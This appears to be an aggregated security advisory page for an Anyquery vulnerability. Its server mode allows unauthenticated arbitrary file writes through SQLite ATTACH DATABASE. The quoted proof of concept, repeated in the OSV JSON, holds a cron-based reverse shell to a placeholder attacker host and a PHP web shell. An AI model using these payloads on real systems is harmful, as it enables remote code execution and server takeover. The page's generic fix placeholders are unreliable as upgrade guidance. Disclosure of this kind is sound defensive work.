CVE-2026-50006: Anyquery Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-xrcf-6jh3-ggvx
Advisory Summary

CVE-2026-50006 is a CRITICAL (CVSS 9.1) remote code execution vulnerability (CWE-284: Improper Access Control) affecting Anyquery libraries in the Go ecosystem. The issue involves arbitrary file write (afw) which could lead to remote code execution (rce) via unrestricted attach database in server mode. Remediation is available in the latest vendor maintenance releases.

CVE-2026-50006 at a Glance

CVE Identifier CVE-2026-50006
GHSA Identifier GHSA-xrcf-6jh3-ggvx
Severity CRITICAL
CVSS v3.1 Base Score 9.1
CWE Classification CWE-284: Improper Access Control
Affected Product Anyquery
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-50006

To remediate this vulnerability, upgrade all affected Anyquery dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/julien040/anyquery fixed: Latest secure release
Upgrade github.com/julien040/anyquery to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/julien040/anyquery

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-50006, inspect your project dependencies for Anyquery:

inspect dependencies for github.com/julien040/anyquery

Analyze the terminal output to locate any version of Anyquery in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-284: Improper Access Control, where the product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. In Anyquery, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Anyquery's `server` mode does not disable or restrict native SQLite disk manipulation commands. Unauthenticated attackers connecting to the MySQL-compatible server port can use the `ATTACH DATABASE` command to write arbitrary SQLite databases to any path on the victim's filesystem where the process has write permissions. This leads to Arbitrary File Write (AFW) which could lead to Remote Code Execution (RCE) depending on the environment (e.g., by dropping a PHP web shell if a web server is running, or overwriting system cronjobs if running as root). ## Details When Anyquery is launched in **Server Mode** (`anyquery server`), it blindly proxies incoming SQL commands to the underlying SQLite engine. SQLite allows dynamic database mounting via the `ATTACH DATABASE` command, which creates a physical `.db` file on the filesystem if the file does not exist. An attacker can connect to the open Anyquery port, attach a new database to a sensitive path (e.g., `/var/www/html/shell.php`, `/etc/cron.d/pwn` or `/root/.ssh/authorized_keys`), create a table, and insert a malicious payload. Although the file will contain a binary SQLite header, standard Linux services like `cron`, `sshd`, and web servers like `PHP` tolerate garbage data and will parse/execute the valid payload lines injected by the attacker. ## PoC (Proof of Concept) 1. Start the server on the victim machine: ```bash anyquery server --host 0.0.0.0 --port 8070 ``` 2. Connect from an attacker machine: ```bash mysql -u root -h <VICTIM_IP> -P 8070 ``` 3. Execute the payload to write a malicious cronjob for native RCE (Note: the Anyquery process must have write permissions to the target directory, such as `/etc/cron.d` or `/var/spool/cron/crontabs/`): ```sql ATTACH DATABASE '/etc/cron.d/pwn' AS pwn; CREATE TABLE pwn.task (cmd TEXT); INSERT INTO pwn.task VALUES ('* * * * * root /bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/1337 0>&1"'); ``` *Alternatively, if a web server is running and the Anyquery process can write to the web root, you can drop a PHP shell:* ```sql ATTACH DATABASE '/var/www/html/shell.php' AS pwn; CREATE TABLE pwn.hacked (cmd TEXT); INSERT INTO pwn.hacked VALUES ('<?php system($_GET["cmd"]); ?>'); ``` *If testing locally as a non-root user, you can verify the vulnerability by writing to `/tmp`:* ```sql ATTACH DATABASE '/tmp/pwn.db' AS pwn; CREATE TABLE pwn.test (cmd TEXT); INSERT INTO pwn.test VALUES ('Hello Anyquery AFW'); ``` Within 60 seconds, the system's cron daemon will ignore the SQLite header, parse the valid cron string, and execute the reverse shell payload with root privileges. ## Impact - **Confidentiality:** None (from the write action itself, though combined with LFR it becomes High). - **Integrity:** High. Arbitrary files can be written or overwritten, which corrupts the filesystem. - **Availability:** High. Overwriting critical system files (e.g., configurations, databases) can lead to complete Denial of Service (DoS). - **CVSS Score:** 9.1 (Critical) - `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H` - *Note: If the process is running with elevated privileges (e.g., root) or inside a web root directory, this escalates to Remote Code Execution (RCE) with a CVSS of 9.8 (Critical).* ## Remediation Disable dangerous SQLite functions (`ATTACH DATABASE`, `DETACH DATABASE`, etc.) when running in Server Mode. Restrict the MySQL handler so that it only permits operations on the main database or in-memory virtual tables.

CVE-2026-50006 Affected Anyquery Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
github.com/julien040/anyquery
Go

References

Frequently Asked Questions

What is CVE-2026-50006?
CVE-2026-50006 is a security vulnerability in Anyquery involving Arbitrary File Write (AFW) which could lead to Remote Code Execution (RCE) via Unrestricted ATTACH DATABASE in Server Mode under CWE-284: Improper Access Control.
Which Anyquery versions are affected?
Affected versions include releases prior to current release patches across affected packages: github.com/julien040/anyquery.
What version fixes CVE-2026-50006?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/julien040/anyquery affected?
Yes, github.com/julien040/anyquery is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-50006?
CVE-2026-50006 has a CVSS v3.1 base score of 9.1 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H.
What CWE is associated with CVE-2026-50006?
CVE-2026-50006 is classified under CWE-284: Improper Access Control (The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.).
How can I check Go dependencies for CVE-2026-50006?
Run the dependency tree command: 'inspect dependencies for github.com/julien040/anyquery'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xrcf-6jh3-ggvx",
  "modified" : "2026-07-14T18:33:57Z",
  "published" : "2026-07-14T18:33:57Z",
  "aliases" : [ "CVE-2026-50006" ],
  "summary" : "Anyquery: Arbitrary File Write (AFW) which could lead to Remote Code Execution (RCE) via Unrestricted ATTACH DATABASE in Server Mode",
  "details" : "## Summary\nAnyquery's `server` mode does not disable or restrict native SQLite disk manipulation commands. Unauthenticated attackers connecting to the MySQL-compatible server port can use the `ATTACH DATABASE` command to write arbitrary SQLite databases to any path on the victim's filesystem where the process has write permissions. This leads to Arbitrary File Write (AFW) which could lead to Remote Code Execution (RCE) depending on the environment (e.g., by dropping a PHP web shell if a web server is running, or overwriting system cronjobs if running as root).\n\n## Details\nWhen Anyquery is launched in **Server Mode** (`anyquery server`), it blindly proxies incoming SQL commands to the underlying SQLite engine. SQLite allows dynamic database mounting via the `ATTACH DATABASE` command, which creates a physical `.db` file on the filesystem if the file does not exist.\n\nAn attacker can connect to the open Anyquery port, attach a new database to a sensitive path (e.g., `/var/www/html/shell.php`, `/etc/cron.d/pwn` or `/root/.ssh/authorized_keys`), create a table, and insert a malicious payload. Although the file will contain a binary SQLite header, standard Linux services like `cron`, `sshd`, and web servers like `PHP` tolerate garbage data and will parse/execute the valid payload lines injected by the attacker.\n\n## PoC (Proof of Concept)\n1. Start the server on the victim machine:\n   ```bash\n   anyquery server --host 0.0.0.0 --port 8070\n   ```\n2. Connect from an attacker machine:\n   ```bash\n   mysql -u root -h <VICTIM_IP> -P 8070\n   ```\n3. Execute the payload to write a malicious cronjob for native RCE (Note: the Anyquery process must have write permissions to the target directory, such as `/etc/cron.d` or `/var/spool/cron/crontabs/`):\n   ```sql\n   ATTACH DATABASE '/etc/cron.d/pwn' AS pwn;\n   CREATE TABLE pwn.task (cmd TEXT);\n   INSERT INTO pwn.task VALUES ('* * * * * root /bin/bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/1337 0>&1\"');\n   ```\n\n   *Alternatively, if a web server is running and the Anyquery process can write to the web root, you can drop a PHP shell:*\n   ```sql\n   ATTACH DATABASE '/var/www/html/shell.php' AS pwn;\n   CREATE TABLE pwn.hacked (cmd TEXT);\n   INSERT INTO pwn.hacked VALUES ('<?php system($_GET[\"cmd\"]); ?>');\n   ```\n\n   *If testing locally as a non-root user, you can verify the vulnerability by writing to `/tmp`:*\n   ```sql\n   ATTACH DATABASE '/tmp/pwn.db' AS pwn;\n   CREATE TABLE pwn.test (cmd TEXT);\n   INSERT INTO pwn.test VALUES ('Hello Anyquery AFW');\n   ```\nWithin 60 seconds, the system's cron daemon will ignore the SQLite header, parse the valid cron string, and execute the reverse shell payload with root privileges.\n\n## Impact\n- **Confidentiality:** None (from the write action itself, though combined with LFR it becomes High).\n- **Integrity:** High. Arbitrary files can be written or overwritten, which corrupts the filesystem.\n- **Availability:** High. Overwriting critical system files (e.g., configurations, databases) can lead to complete Denial of Service (DoS).\n- **CVSS Score:** 9.1 (Critical) - `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H`\n  - *Note: If the process is running with elevated privileges (e.g., root) or inside a web root directory, this escalates to Remote Code Execution (RCE) with a CVSS of 9.8 (Critical).*\n\n## Remediation\nDisable dangerous SQLite functions (`ATTACH DATABASE`, `DETACH DATABASE`, etc.) when running in Server Mode. Restrict the MySQL handler so that it only permits operations on the main database or in-memory virtual tables.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/julien040/anyquery"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "< 0.4.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/julien040/anyquery/security/advisories/GHSA-xrcf-6jh3-ggvx"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/julien040/anyquery"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/julien040/anyquery/releases/tag/0.4.5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-284", "CWE-434", "CWE-73", "CWE-862" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-14T18:33:57Z",
    "nvd_published_at" : null
  }
}